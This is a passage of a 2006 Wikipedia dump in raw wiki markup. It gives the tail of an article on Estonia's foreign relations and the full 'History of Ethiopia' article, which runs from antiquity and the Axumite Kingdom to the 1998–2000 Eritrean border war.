Estonia is a party to 181 international organizations, including the [[Bank for International Settlements|BIS]], [[CBSS]], [[Council of Europe|CE]], [[Euro-Atlantic Partnership Council|EAPC]], [[EBRD]], [[United Nations Economic Commission for Europe|ECE]], [[EU]] (member since [[1 May]] [[2004]]), [[Food and Agriculture Organization|FAO]], [[IAEA]], [[IBRD]], [[ICAO]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[IFC]], [[IFRCS]], [[IHO]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]] (observer), [[International Organization for Standardization|ISO]] (correspondent), [[International Telecommunication Union|ITU]], [[OPCW]], [[Organization for Security and Co-operation in Europe|OSCE]], [[Partnership for Peace|PFP]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNMIBH]], [[UNMIK]], [[UNTSO]], [[UPU]], [[World Customs Organization|WCO]], [[WEU]] (associate partner), [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[World Trade Organization|WTO]]. 

'''Disputes - international:'''
Estonian and Russian negotiators reached a technical border agreement in December 1996 which has not been signed or ratified as of [[1 January]] [[2000]]

'''Illicit drugs:'''
transshipment point for [[opiate]]s and [[cannabis (drug)|cannabis]] from Southwest [[Asia]] and the [[Caucasus]] via Russia, [[cocaine]] from [[Latin America]] to [[Western Europe]] and [[Scandinavia]], and synthetic drugs from Western Europe to Scandinavia; possible precursor manufacturing and/or trafficking
{{estonia-stub}}

[[Category:Foreign relations of Estonia| ]]
[[Category:Wikipedia articles in need of updating]]</text>
    </revision>
  </page>
  <page>
    <title>History of Ethiopia</title>
    <id>9398</id>
    <revision>
      <id>42161153</id>
      <timestamp>2006-03-04T05:39:56Z</timestamp>
      <contributor>
        <username>Yom</username>
        <id>713855</id>
      </contributor>
      <comment>/* Earliest History */</comment>
      <text xml:space="preserve">'''[[Ethiopia]]''' is the oldest independent country in [[Africa]] and one of the oldest in the world. It has long been an intersection between the civilizations of [[North Africa]], the [[Middle East]] and [[Sub-Saharan Africa]].

==Earliest History==
Ethiopia has seen human habitation for longer than almost anywhere else in the world, with modern [[homo sapiens]] perhaps evolving there. 

There is some confusion over the usage of the word Ethiopia in ancient times and the modern country. The [[ancient Greece|ancient Greeks]] used the word (&amp;#913;&amp;#953;&amp;#952;&amp;#953;&amp;#959;&amp;#960;&amp;#943;&amp;#945;) to refer to the peoples living immediately to the south of [[ancient Egypt]], specifically the area now known as [[Nubia]]; modern usage has transferred this name further south to the land and peoples known in the late 19th and early 20th century as [[Abyssinia]]. As a result, the [[1911 Encyclopædia Britannica]] states the connection between [[Egypt]] and Ethiopia is at least as early as the [[Twenty-second dynasty of Egypt]] was very intimate, and beginning with [[Piye]], a ruler of the [[Twenty-fifth dynasty of Egypt|Twenty-fifth dynasty]], occasionally the two countries were under the same ruler; however, the capital of these two dynasties was in the north of modern [[Sudan]], at [[Napata]].

It is now known that in ancient times the name Ethiopia was used to refer to the nation based in the upper Nile valley south of Egypt, also called [[Cush]], which in the 4th century CE was invaded by the Axum from the highlands close to the Red sea. Use of the term to refer to modern Ethiopia, however, has been attested as early as the 4th century CE.

The first records of Ethiopia proper come from Egyptian traders from about [[3000 BC]], who refer to lands south of Nubia or Cush as [[Land of Punt|Punt]] and Yam. Detailed information about these two nations is sparse, and there are many theories concerning their locations and the ethnic relationship of their peoples.

The state of [[Sheba]] mentioned in the [[Old Testament]] is sometimes believed to have been in Ethiopia, but more often is placed in [[Yemen]].  Others believe it covered parts of both the Yemen and present-day Ethiopia.  According to legend, [[Menelik I]], the son of [[King Solomon]] and the Queen of Sheba, founded the Ethiopian Empire.


Around [[800 BC]], a civilization known by it's Arabic name, [[D’mt]], arose in Ethiopia, centering around [[Yeha]] (thought to be its capital) in northern Ehiopia. The kingdom developed irrigation schemes, used plows, grew millet, and even made iron tools and weapons. Remains of a large stone temple dating to about [[500 BC]] still survive at [[Yeha]], near [[Axum]].

In [[Ancient Greece]] the Ethiopians were viewed as a sacred people that was mostly loved by the Gods. [[Memnon]] was regarded as one of the noblest heros that participated in the [[Trojan war]] and as the handsomest man of his time, bested in battle only by [[Achilles]]. According to a version of the myth, the Gods admired him so much that after his death from the sword of Achilles they decided to grant him immortality. According to [[Greek Mythology]] Ethiopians acquired their dark colour when the sun came once very close to their country. During the Persian expedition against Ethiopia, [[Herodotus]] describes Ethiopians as the tallest, handsomest and strongest people of the earth. According to his historical accounts, the Ethiopian King gave his huge bow as a gift to the Persian King and advised him to reorganise an attack against the Ethiopian realm only after he has managed to draw it (Histories - 3.22.1).

== The Axumite Kingdom ==
''Main article: [[Kingdom of Aksum]]''

The first verifiable kingdom of great power to rise in Ethiopia was that of Axum in the first century CE. The [[Sassanid dynasty|Persia]]n religious figure [[Mani (prophet)|Mani]] listed Axum with [[Roman Empire|Rome]], Persia, and [[China]] as one of the four great powers of his time. The origins of the Axumite Kingdom are unclear, although experts have offered their speculations about it. Even whom should be considered the earliest known king is contested: although C. Conti Rossini proposed that [[Zoskales]], mentioned in the ''[[Periplus of the Erythraean Sea]]'', should be identified with one Za Haqle mentioned in the Ethiopian King Lists (a view embraced by later historians of Ethiopia such as Yuri M. Kobishchanov&lt;sup&gt;[[#References|1]]&lt;/sup&gt; and Segrew Hable Sellasie), G.W.B. Huntingford argued that Zoskales was only a sub-king whose authority was limited to [[Adulis]], and that Conti Rossini's identification can not be substantiated.&lt;sup&gt;[[#References|2]]&lt;/sup&gt;

Inscriptions have been found in southern [[Arabia]] celebrating victories over one GDRT, described as &quot;nagashi of Habashat [= Abyssinia] and of Axum.&quot; Other dated inscriptions are used to determine a ''floruit'' for [[GDRT]] (interpreted as representing a [[Ge'ez]] name such as Gedur, Gadurat or Gedara) around the beginning of the [[3rd century]]. A bronze sceptre or wand has been discovered at [[Atsbi Dera]] with in inscription mentioning &quot;GDR of Axum&quot;.  Coins showing the royal portrait began to be minted under King [[Endubis]] toward the end of the Third Century.

Christianity was introduced into the country by [[Frumentius]], who was consecrated first bishop of Ethiopia by [[Athanasius of Alexandria|Saint Athanasius of Alexandria]] about 
330. Frumentius converted [[Ezana]], who has left several inscriptions detailing his reign both before and after his conversion. One inscription found at [[Axum]], states that he conquered the nation of the [[Bogos]], and returned thanks to his father, the god Mars, for his victory.  Later inscriptions show Ezana's growing attachment to Christianity, and Ezana's coins bear this out, shifting from a design with disc and crescent to a design with a cross.  

From the scanty evidence available it would appear that the new religion at first made little progress. Towards the close of the 5th century a great company of monks known as the [[Nine Saints]] are believed to have established themselves in the country. Since that time [[monasticism]] has been a power among the people and not without its influence on the course of events.  

The Axumite Kingdom is recorded once again as controlling part -- if not all -- of [[Yemen]] in the [[6th century]]. [[Kaleb of Axum|Kaleb]] invaded Yemen about [[520]] in order to depose the [[Jew]]ish king [[Dhu Nuwas]], and appoint [[Sumuafa' Ashawa']] as his viceroy. [[Procopius]] records that after about five years, [[Abraha]] deposed the viceroy and made himself king (''Histories'' 1.20). Despite several attempted invasions across the [[Red Sea]], Kaleb was unable to dislodge Abreha, and acquiesed to the change; this was the last time Ethiopian armies left Africa until the 20th century when several units participated in the [[Korean War]]. Eventually Kaleb abdicated in favor of his son [[W`ZB|Wa'zeb]] and retired to a monastery where he ended his days. Despite this reverse, under Ezana and Kaleb the kingdom was at its height, benefitting from a large trade, which extended as far as [[India]] and Ceylon, and were in constant communication with the [[Byzantine Empire]].

Details of the Axumite Kingdom, never abundant, become even more sketchy after this point. The last king known to mint coins is [[Armah]], whose coinage refers to the Persian conquest of [[Jerusalem]] in [[614]]. An early [[Muslim]] tradition is that the negus [[Ashama ibn Abjar]] offered asylum to a group of Muslims fleeing persecution during [[Muhammad]]'s life (615), but Stuart Munro-Hay believes that Axum had been abandoned as the capital by then&lt;sup&gt;[[#References|3]]&lt;/sup&gt; -- although Kobishchanov states that Ethiopian raiders plagued the Red Sea, preying on Arabian ports at least as late as [[702]].&lt;sup&gt;[[#References|4]]&lt;/sup&gt;

The end of the Axumite Kingdom is as much of a mystery as its beginning. Lacking a detailed history, the kingdom's fall has been attributed to a persistent drought, overgrazing, deforestation, plague, a shift in trade routes that reduced the importance of the Red Sea -- or a combination of these factors. Munro-Hay cites the Arab historian [[Abu Ja'far al-Khuwarizani]] (who wrote before 833) as stating that the capital of &quot;the kingdom of Habash&quot; was [[Jarma]]. Unless Jarma is a nickname for Axum (hypothetically from Ge'ez ''girma'', &quot;remarkable, revered&quot;), the capital had moved from Axum to a new site, yet undiscovered.&lt;sup&gt;[[#References|5]]&lt;/sup&gt;

==The Ethiopian Dark Ages==
About [[1000]] (presumably c 960), a non-[[Christian]] princess, [[Gudit|Yodit]] (Judith, also called Gudit, a play on Yodit meaning evil), conceived the design of murdering all the members of the royal family, and of establishing herself in their stead. According to legends, during the execution of the royals, an infant heir of the Axumite monarch was carted off by some faithful adherents, and conveyed to [[Shewa]], where his authority was acknowledged, while Yodit reigned for forty years over the rest of the kingdom, and transmitted the crown to her descendants. 

At one point in the next century, the last of Yodit's successors were overthrown by an [[Agaw]] lord named [[Mara Takla Haymanot]], who founded the [[Zagwe dynasty]] and married a female descendant of Axumite monarchs (&quot;son-in-law&quot;) or previous ruler. One of the highlight stages of this dynasty was the reign of [[Gebra Maskal Lalibela]], in whose reign the stone churches of [[Lalibela]] were carved. 

In about [[1270]], a new dynasty established the Abyssinian highlands as their realm in person of [[Yekuno Amlak]] who deposed the last of the Zagwe kings and married one of their daughters. According to legends the new dynasty were male-line descendants of Axumite monarchs, now recognized as the continuing [[Solomonid dynasty]] (the kingdom being thus restored to the biblical royal house).

==Portuguese Influence==
Under the [[Solomonid dynasty]], the [[Subdivisions of Ethiopia|chief provinces]] became [[Tigray]] (northern), [[Amhara]] (central) and [[Shewa]] (southern). The seat of government, or rather of overlordship, has usually been in Amhara or Shewa, the ruler of which, calling himself ''[[Emperor of Ethiopia|{{IPA|nəgusä nägäst}}]]'' (king of kings, or [[emperor]]), has exacted tribute, when he could, from the other provinces.  The title of ''{{IPA|nəgusä nägäst}}'' has been to a considerable extent based on the blood in the veins of the claimant.  All the emperors have based their claims on their direct descent from Solomon and the queen of Sheba; but it is needless to say that in many, if not in most, cases their success has been due more to the force of their arms than to the purity of their [[lineage]].  

Towards the close of the [[15th century]] the [[Portugal|Portuguese]] missions into Ethiopia began.  A belief had long prevailed in Europe of the existence of a Christian kingdom in the far east, whose monarch was known as [[Prester John]], and various expeditions had been sent in quest of it.  Among others who had engaged in this search was [[Pedro de Covilham]], who arrived in Ethiopia in [[1490]], and, believing that he had at length reached the far-famed kingdom, presented to the ''negus'', or emperor of the country, a letter from his master the [[king of Portugal]], addressed to Prester John.  

Covilham remained in the country, but in [[1507]] an Armenian named Matthew was sent by the Emperor to the king of [[Portugal]] to request his aid against the Muslims. In [[1520]] a Portuguese fleet, with Matthew on board, entered the [[Red Sea]] in compliance with this request, and an embassy from the fleet visited the Emperor, [[Dawit II of Ethiopia|Lebna Dengel]], and remained in Ethiopia for about six years.  One of this embassy was Father [[Francisco Alvarez]], who wrote one of the earliest and not the least interesting account of the country.  

Between 1528 and 1540 armies of Muslims, under the renowned general [[Ahmad ibn Ibrihim al-Ghazi]], entered Ethiopia from the low country to the south-east, and overran the kingdom, obliging the emperor to take refuge in the mountain fastnesses.  In this extremity recourse was again had to the Portuguese.  [[John Bermudez]], a subordinate member of the mission of 1520, who had remained in the country after the departure of the embassy, was, according to his own statement (which is untrustworthy), ordained successor to the ''[[Abuna]]'' (archbishop), and sent to Lisbon.  Bermudez certainly came to Europe, but with what credentials is not known.  

Be that as it may, a Portuguese fleet, under the command of [[Christovão da Gama]], was sent from [[India]] and arrived at [[Massawa]] in February [[1541]].  Here he received an ambassador from the Emperor beseeching him to send help against the Moslems, and in the July following a force of 400 musketeers, under the command of Christovão da Gama, younger brother of the admiral, marched into the interior, and being joined by native troops were at first successful against the enemy; but they were subsequently defeated at the [[Battle of Wofla]]  ([[28 August]] [[1542]]), and their commander captured and executed.  On [[February 21]], [[1543]], however, Ahmad was shot and killed in the [[Battle of Wayna Daga]] and his forces totally routed.  After this, quarrels arose between the Emperor and Bermudez, who had returned to Ethiopia with da Gama and who now wished the emperor publicly to profess himself a convert to Rome.  This the Emperor refused to do, and at length Bermudez was obliged to make his way out of the country.  

The [[Society of Jesus|Jesuits]] who had accompanied or followed the da Gama expedition into Ethiopia, and fixed their headquarters at [[Fremona]] (near [[Adowa]]), were oppressed and neglected, but not actually expelled. In the beginning of the 17th century Father [[Pedro Páez]] arrived at Fremona, a man of great tact and judgment, who soon rose into high favour at court, and gained over the emperor to his faith.  He directed the erection of churches, palaces and bridges in different parts of the country, and carried out many useful works.  His successor [[Alfonso Mendez]] was a man of much less conciliatory manners, and the feelings of the people became strongly excited against the intruders, till at length, on the death of Emperor [[Sissinios of Ethiopia|Sissinios]], and the accession of his son [[Fasilidos of Ethiopia|Fasilidos]] in [[1633]], the Jesuits were expelled.

==The Period of the Princes==
This era was, on one hand, a religious conlict between settling Muslims and traditional Christians, between nationalities they represented, and on the other hand between feudal lords on power over the central government.

Two phases can be distinguished: 1706-69 and 1769-1855.

Some historians date the murder of [[Iyasu I]], and the resultant decline in the prestige of the dynasty, as the beginning of the Ethiopian [[Zemene Mesafint]] or &quot;Era of the Princes&quot; (a time of disorder when the power of the monarchy was eclipsed by the power of local warlords).

Nobles became to utilize their positions in making emperors, and rather soon started to enroach into the direct succession of the dynasty, by candidates among the nobility itself: e.g on the death of [[Tewoflos of Ethiopia|Emperor Tewoflos]], the chief nobles of Ethiopia feared that the cycle of vengeance that had characterized the reigns of Tewoflos and [[Tekle Haymanot I of Ethiopia|Tekle Haymanot I]] would continue if a member of the [[Solomonid dynasty]] were picked for the throne, so they selected one of their own, [[Yostos of Ethiopia|Yostos]] to be ''negusa nagast'' - however his tenure was brief.

Emperors faced many challehges to their authority.

They tended to insulate in the capital of [[Gondar]].

The imperial coffers ran rather empty, the emperors lacked resources to maintain effective government.

Iyasu II asecended the throne as a child. His mother, Empress Mentewab played a major role in Iyasu's reign, as well as in that of her grandson [[Iyoas I of Ethiopia|Iyoas]] too. Mentewab had herself crowned as co-ruler, becoming the first woman to be crowned in this manner in Ethiopian history.

Empress Mentewab was crowned co-ruler upon the succession of her son (a first for a woman in Ethiopia) in 1730, and held unprecedented power over government during his reign.  Her attempt to continue in this role following the death of her son 1755 led her into conflict with Wubit (Welete Bersabe), his widow, who believed that it was her turn to preside at the court of her own son Iyoas.  The conflict between these two queens led to Mentewab summoning her Kwaran relatives and their forces to Gondar to support her.  Wubit responded by summoning her own [[Oromo]] relatives and their considerable forces from [[Yejju]].

The treaure of the Empire being attestedly penniless on the death of Iyasu, it suffered further from ethnic conflict between nationalities that been part of the Empire for hundreds of years -- the [[Agaw]], [[Amhara]]ns, [[Shewa|Showans]], and [[Tigrean]]s -- and the [[Oromo]] newcomers. Mentewab's attempt to strengthen ties between the monarchy and the Oromo by arranging the marriage of her son to the daughter of an Oromo chieftain backfired in the long run.  Iyasu II gave precedence to his mother and allowed her every prerogative as a crowned co-ruler, while his wife Wubit suffered in obscurity.  Wubit waited for the accession of her own son to make a bid for the power wielded for so long by Mentewab and her relatives from [[Qwara]].  When Iyoas assumed the throne upon his father's sudden death, the aristocrats of Gondar were stunned to find that he more readily spoke in the Oromo language rather than in [[Amharic]], and tended to favor his mother's Yejju relatives over the Qwarans of his grandmothers family. Iyoas further increased the favor given to the Oromo when adult. On the death of the Ras of Amhara region, he attempted to promote his uncle Lubo governor of that province, but the outcry led his advisor [[Walda Nul]] to convince him to change his mind.

It is believed that the power struggle between the Qwarans led by the Empress Mentewab, and the Yejju Oromos led by the Emperor's mother Wubit was about to erupt into an armed conflict. Ras [[Mikael Sehul]] was summoned to mediate between the two camps. He arrived and shrewdly maneuvered to sideline the two queens and their supporters making a bid for power for himself. Mikael settled soon as the leader of Amharic-Tigrean (Christian) camp of the struggle.

The reign of Iyaos' reign becomes a narrative of the struggle between the powerful Ras Mikael Sehul and the Oromo relatives of Iyoas. As Iyoas increasingly favored Oromo leaders like [[Fasil of Damot|Fasil]], his relations with Mikael Sehul deteriorated. Eventually Mikael Sehul deposed the Emperor Iyoas (7 May, 1769). One week later, Mikael Sehul had him killed; although the details of his death are contradictory, the result was clear: for the first time an Emperor had lost his throne in a means other than his own natural death, death in battle, or voluntary abdication.

Mikael Sehul had compromised the power of the Emperor, and from this point forward it lay ever more openly in the hands of the great nobles and military commanders. This point of time has been regarded as one start of the Era of the Princes.

An aged and infirm imperial uncle prince was enthroned as Emperor [[Yohannes II]]. Ras Mikael soon had him murdered, and underage [[Takla Haymanot II]] was elevated to the throne.

This bitter religious conflict contributed to hostility toward foreign Christians and Europeans, which persisted into the [[20th century]] and was a factor in Ethiopia's isolation until the mid-[[19th century]], when the first British mission, sent in 1805 to conclude an alliance with Ethiopia and obtain a port on the Red Sea in case [[France]] conquered [[Egypt]]. The success of this mission opened Ethiopia to many more travellers, missionaries and merchants of all countries, and the stream of Europeans continued until well into Theodore's reign.

This isolation was pierced by very few European travellers. One was the French physician [[Charles Jacques Poncet|C.J. Poncet]], who went there in [[1698]], via [[Kingdom of Sennar|Sennar]] and the [[Blue Nile]]. After him [[James Bruce]] entered the country in [[1769]], with the object of discovering the sources of the Nile, which he was convinced lay in Ethiopia.  Accordingly, leaving Massawa in September 1769, he travelled via Axum to [[Gondar]], where he was well received by Emperor [[Tekle Haymanot II of Ethiopia|Tekle Haymanot II]]. He accompanied the king on a warlike expedition round [[Lake Tana]], moving South round the eastern shore, crossing the [[Blue Nile]] ([[Abay River|Abay]]) close to its point of issue from the lake and returning via the western shore.  On a second expedition of his own he proved to his own satisfaction that the river originated some 40 miles southwest of the lake at a place called Geesh ([[November 4]], [[1770]]). He showed that this river flowed into the lake, and left it by its now well-known outlet.  Bruce subsequently returned to [[Egypt]] (end of 1772) by way of Gondar, the upper [[Atbara river|Atbara]], Sennar, the Nile, and the [[Korosko desert]].

During the 18th century the most prominent rulers were the emperor [[Dawit III of Ethiopia|Dawit III]] of [[Gondar]] (died [[May 18]] [[1721]]), [[Amha Iyasus]] of [[Shewa]] (1744-1775), who consolidated his kingdom and founded [[Ankober]], and [[Tekle Giyorgis I of Ethiopia|Tekle Giyorgis]] of [[Amhara]] (1779-1799) - the last-mentioned is famous of having been elevated to the throne altogether six times and also deposed six times. The first years of the 19th century were disturbed by fierce campaigns between [[Ras (title)|Ras]] [[Gugsa of Yejju|Gugsa]] of Begemder, and Ras [[Wolde Selassie]] of Tigray, who fought over control of the figurehaed Emperor [[Egwale Seyon of Ethiopia|Egwale Seyon]]. Wolde Selassie was eventually the victor, and practically ruled the whole country till his death in [[1816]] at the age of eighty. 

[[Dejazmach]] [[Sabagadis]] of [[Agame]] succeeded Wolde Selassie in 1817, through force of arms, to become warlord of Tigre.

==Leaving the Medieval World==
Under the Emperors [[Tewodros II of Ethiopia|Tewodros II]] ([[1855]] - [[1868]]), [[Yohannes IV of Ethiopia|Yohannes IV]] ([[1872]] - [[1889]]), and [[Menelik II of Ethiopia|Menelek II]] ([[1889]] - [[1913]]), the kingdom began to emerge from its medieval isolation. 

Emperor Tewodros II was born ''Lij'' Kassa in Kwara, a small district of Western [[Amhara]], in [[1818]].  His father was a small local chief, and his relative (possible uncle) ''Dejazmatch'' [[Kinfu]] was governor of the districts of Dembea, [[Qwara]] and Chelga between Lake Tana and the undefined northwestern frontier.  Kassa was dispossesed of his inheritance by his relatives upon the death of his father while he was still a young boy.  After recieving a traditional education in a local monastery, he went off to lead a band of bandits that roved the country in a Robin Hood-like existence.  His exploits became widely known, and his band of followers grew steadily until he led a formidible army.  He came to the notice of the ruling Regent, Ras Ali, and his mother Empress [[Menen Liben Amede]] (wife of the puppet Emperor [[Yohannes III]]).  In order to bind him to them, Ras Ali and the Empress arranged for Kassa to marry Ali's daughter, and upon the death of his uncle Kinfu, he was made chief of Kwara and all Dembea with the title of Dejazmatch. He turned his attention to conquering the remaining [[Subdivisions of Ethiopia|chief divisions of the country]], [[Gojjam]], [[Tigray]] and [[Shewa]], which still remained unsubdued.  His relations with his father-in-law and grandmother-in-law deteriorated however, and he soon took up arms against them and their vassals, and was successful.  

On [[February 11]], [[1855]], Kassa usurped the Imperial throne, and was crowned ''negusa nagast'' of Ethiopia under the name of Tewodros II. He soon after advanced against [[Shewa]] with a large army. Chief of the notables opposing him was its king [[Haile Melekot]], a descendant of ''meridazmach'' [[Asfa Wossen]]. Dissensions broke out among the Shewans, and after a desperate and futile attack on Theodore at [[Dabra Berhan]], [[Haile Melekot]] died of illness, nominating with his last breath his eleven-year-old son as successor (November 1855) under the name Negus Sahle Maryam (later he became emperor [[Menelek II]]). Darge, Haile Melekot's brother, and Ato Bezabih, a Shewan noble, took charge of the young prince, but after a hard fight with Angeda, the Shewans were obliged to capitulate.  Sahle Maryam was handed over to the Emperor, taken to Gondar, and there trained in Theodore's service, and then placed in comfortable detention at the fortress of Magdalla. Theodore afterwards devoted himself to modernizing and centralizing the legal and [[Subdivisions of Ethiopia|administrative structure of his kingdom]], against the resistance of his governors.  Sahle Maryam of Shewa was married to Tewodros II's daughter Alitash. 

In 1865, Sahle Maryam escaped from Magdalla, abandoning his wife, and arrived in [[Shewa]], and was there acclaimed as [[Negus]]. On the death of Tewodros, many Shewans, including Ras Darge, were released, and the young Negus of Shewa began to feel himself strong enough, after a few preliminary minor campaigns, to undertake offensive operations against the northern princes.  But these projects were of little avail, for ras Kassai of Tigray, had by this time ([[1872]]) risen to supreme power in the north. Proclaiming himself ''negusa nagast'' under the name of Yohannes or John IV, he conquered Sahle Maryam and [[Shewa]].

==Interactions with European Colonial Powers==
Ethiopia stands with [[Liberia]] as one of the two places in Africa which were never colonized by European powers (if one excludes the brief [[Second Italo-Abyssinian War|Italian invasion]] and occupation between 1936 and 1941). However, several colonial powers had interests and designs on Ethiopia in the context of the &quot;[[Scramble for Africa]].&quot;

In 1867, when [[Victoria of the United Kingdom|Victoria]], Queen of the United Kingdom, did not answer a letter King Theodore sent her, he took it as an insult and imprisoned several British residents, including the [[Consulate general|consul]]. An army of 12,000 was sent from Bombay to Ethiopia [[1868 Expedition to Abyssinia|to rescue the captured nationals]], under the command of Sir [[Robert Napier, 1st Baron Napier|Robert Napier]]. The Ethiopians were defeated, and the British stormed the fortress of Magdala (now known as [[Amba Mariam]]) on [[April 13]], [[1868]]. When King Theodore heard that the gate had fallen, he fired a pistol into his mouth and killed himself. His son was taken to England to be educated at the expense of the nation. He died there in 1879, at the age of 17. Sir Robert Napier was raised to the peerage, and given the title of Lord Napier of Magdala.

&lt;div style=&quot;float:right;margin:0 0 1em 1em;text-align:center;font-size:smaller&quot;&gt;
[[image:EthiopiaRAND1908.jpg|Map of Ethiopia in 1908]]&lt;br&gt;''Ethiopia in 1908, according to a [[EthiopiaRAND1908orig.jpg|Rand McNally map]]''&lt;/div&gt;
The [[Italy|Italians]] now came on the scene. [[Assab]], a port near the southern entrance of the Red Sea, had been bought from the local sultan in March [[1870]] by an Italian company, which, after acquiring more land in 1879 and 1880, was bought out by the Italian government in [[1882]]. In this year Count [[Pietro Antonelli]] was despatched to Shewa in order to improve the prospects of the colony by treaties with Menelik and the sultan of [[Aussa]].  

In April [[1888]] the Italian forces, numbering over 20,000 men, came into touch with the Ethiopian army; but negotiations took the place of fighting, with the result that both forces retired, the Italians only leaving some 5000 troops in [[Eritrea]], as their colony was now called. 

Meanwhile Yohannes had not been idle with regard to the [[dervish]]es, who had in the meantime become masters of the Egyptian Sudan, continued, and in 1887 a great battle ensued at [[Gallabat]], in which the [[dervish]]es, under Zeki Tumal, were beaten.  But a stray bullet struck the king, and the Ethiopians decided to retire. The king died during the night, and his body fell into the hands of the enemy ([[March 9]], [[1889]]). Immediately the news of Yohannes's death reached [[Menelik II|Menelik]], the king of the Shewa, he proclaimed himself emperor Menelik II of Ethiopia, and received the submission of Begemder, Gojjam and several other provinces.

On [[May 2]] of that same year, [[Menelik II|Menelik]], signed the [[Treaty of Wuchale]] with the Italians, granting them a portion of Northern Ethiopia, the area that would later be [[Eritrea]] and part of the province of [[Tigray]] in return for the promise of 30,000 rifles, ammunition, and cannons (Pakenham, ''The [[Scramble for Africa]]'' p. 472-3). The Italians notified the European powers that this treaty gave them a protectorate over all of Ethiopia. Menelik protested and showed that the Amharic version of the treaty said no such thing.

The conflict with the Italians came to head with their defeat at the [[Battle of Adowa]] on March 1, 1896. On [[October 26]], [[1896]] a provisional treaty of peace was concluded at Adis Ababa, recognizing the absolute independence of Ethiopia. 

Regarding the question of railways, the first concession for a railway from the coast at [[Djibouti]] (French Somaliland) to the interior was granted by [[Menelik II|Menelik]], to a French company in 1894. The railway was completed to [[Dire Dawa]], 28 miles from [[Harrar]], by the last day of 1902.

When [[Menelik II]] died, his grandson, [[Lij Iyassu]], succeeded to the throne but soon lost support because of his Muslim ties. He was deposed in [[1916]] by the Christian nobility, and Menelik's daughter, [[Zauditu]], was made empress. Her cousin, Ras Tafari Makonnen, was made regent and successor to the throne.

==Modern History==
In 1930, after the empress died, Ras Tafari Makonnen, adopting the throne name [[Haile Selassie]], was crowned emperor. His reign was interrupted in [[1936]] when Italian Fascist forces [[Second Italo-Abyssinian War|invaded and occupied]] Ethiopia (they first invaded on [[October 2]], [[1935]], took the capital [[Addis Ababa]] on [[May 5]] and formally annexed Ethiopia on [[May 9]]). The emperor was forced into exile in England despite his plea to the [[League of Nations]] for intervention. Five years later, the Italians were [[East African Campaign|defeated by British and Ethiopian forces]], and the emperor returned to the throne.

Over the following decades, Emperor Haile Selassie exerted numerous efforts to promote the modernization of his nation. The country's first important school of higher education, [[Addis Ababa University|University College of Addis Ababa]], was founded in [[1950]]. The Constitution of 1931 was replaced with a new one in 1955, which expanded the powers of the Parliament. While improving diplomatic ties with the [[United States]], he also sought to improve the nations' relationship with other African nations in helping to found the [[Organisation of African Unity]] in [[1963]].

Despite these attempts at modernization, by the early 1970s the advanced age of Emperor Haile Selassie was becoming a major problem for the future of his nation. As Paul B. Henze explains, &quot;most Ethiopians thought in terms of personalities, not ideology, and out of long habit still looked to Haile Selassie as the initiator of change, the source of status and privilege, and the arbiter of demands for resources and attention among competing groups.&quot;&lt;sup&gt;[[#References|6]]&lt;/sup&gt; Ethiopians worried for their future following his impending death, and whether his successors would continue his campaigns for modernization and economic development.

After a period of civil unrest which began in February 1974, the aging Haile Selassie I was deposed on [[September 12]], [[1974]], and a provisional administrative council of soldiers, known as the [[Derg]] (&quot;committee&quot;) seized power from the emperor and installed a government which was socialist in name and military in style. The Derg summarily executed 59 members of the former government, including the two former Prime Ministers, Crown Councilors, Court officials, ministers, and generals; Emperor Haile Selassie died on [[August 22]], [[1975]], allegedly strangled in the basement of his palace.

Lt. Col. [[Mengistu Haile Mariam]] assumed power as head of state and Derg chairman, after having his two predecessors killed. Mengistu's years in office were marked by a totalitarian-style government and the country's massive militarization, financed by the [[Soviet Union]] and the Eastern Bloc, and assisted by [[Cuba]]. In December 1976, an Ethiopian delegation in [[Moscow]] signed a military assistance agreement with the [[Soviet Union]]. The following April, Ethiopia abrogated its military assistance agreement with the [[United States]] and expelled the American military missions.

In July 1977, sensing the disarray in Ethiopia, [[Somalia]] attacked across the [[Ogaden]] in pursuit of its [[Irredentism|irredentist]] claims to the ethnic Somali areas of Ethiopia (''see'' [[Ogaden War]]). They were assisted in this invasion by the armed [[Western Somali Liberation Front]]. Ethiopian forces were driven back far inside their own frontiers but, with the assistance of a massive Soviet airlift of arms and Cuban combat forces, they stemmed the attack. The last major Somali regular units left the Ogaden [[March 15]], [[1978]]. Twenty years later, the Somali region of Ethiopia remains under-developed and insecure.

From 1977 through early 1978, thousands of suspected enemies of the Derg were tortured and/or killed in a purge called the &quot;red terror.&quot; Communism was officially adopted during the late 1970s and early 1980s; in [[1984]], the [[Workers' Party of Ethiopia]] (WPE) was established, and on [[February 1]], [[1987]], a new Soviet-style civilian constitution was submitted to a popular referendum. It was officially endorsed by 81% of voters, and in accordance with this new constitution, the country was renamed the [[People's Democratic Republic of Ethiopia]] on [[September 10]], 1987, and Mengistu became president.

The regime's collapse was hastened by droughts and [[1984 - 1985 famine in Ethiopia|famine]], as well as by insurrections, particularly in the northern regions of Tigray and Eritrea. In 1989, the [[Tigrayan Peoples' Liberation Front]] (TPLF) merged with other ethnically-based opposition movements to form the [[Ethiopian Peoples' Revolutionary Democratic Front]] (EPRDF). In May 1991, EPRDF forces advanced on Addis Ababa. Mengistu fled the country and was granted asylum in [[Zimbabwe]], where he still resides.

In July 1991, the EPRDF, the [[Oromo Liberation Front]] (OLF), and others established the Transitional Government of Ethiopia (TGE) which was comprised of an 87-member Council of Representatives and guided by a national charter that functioned as a transitional constitution. In June 1992, the OLF withdrew from the government; in March 1993, members of the [[Southern Ethiopia Peoples' Democratic Coalition]] also left the government.

A [[Eritrean-Ethiopian War|border war]] with [[Eritrea]] (which separated from Ethiopia following the fall of the Derg in 1992) erupted in May 1998, lasting until June 2000. While this has hurt the nation's economy, it has also strengthened the ruling coalition.

:''See also :'' [[Ethiopia]]
[[Subdivisions of Ethiopia]]

{{1911}}

==Additional Reading==
* Sergew Hable Sellassie.  ''Ancient and Medieval Ethiopian History to 1270''  (Addis Ababa:  United Printers, 1972).
* ''African Zion, the Sacred Art of Ethiopia'', (New Haven:  Yale University Press, 1993).

== Notes ==
# Yuri M. Kobishchanov, ''Axum'', Joseph W. Michels, editor; Lorraine T. Kapitanoff, translator, (University Park, Pennsylvania: University of Pennsylvania, 1979), pp.54-59.
# As expressed, for example, in his ''The Historical Geography of Ethiopia'' (London: the British Academy, 1989), p.39.
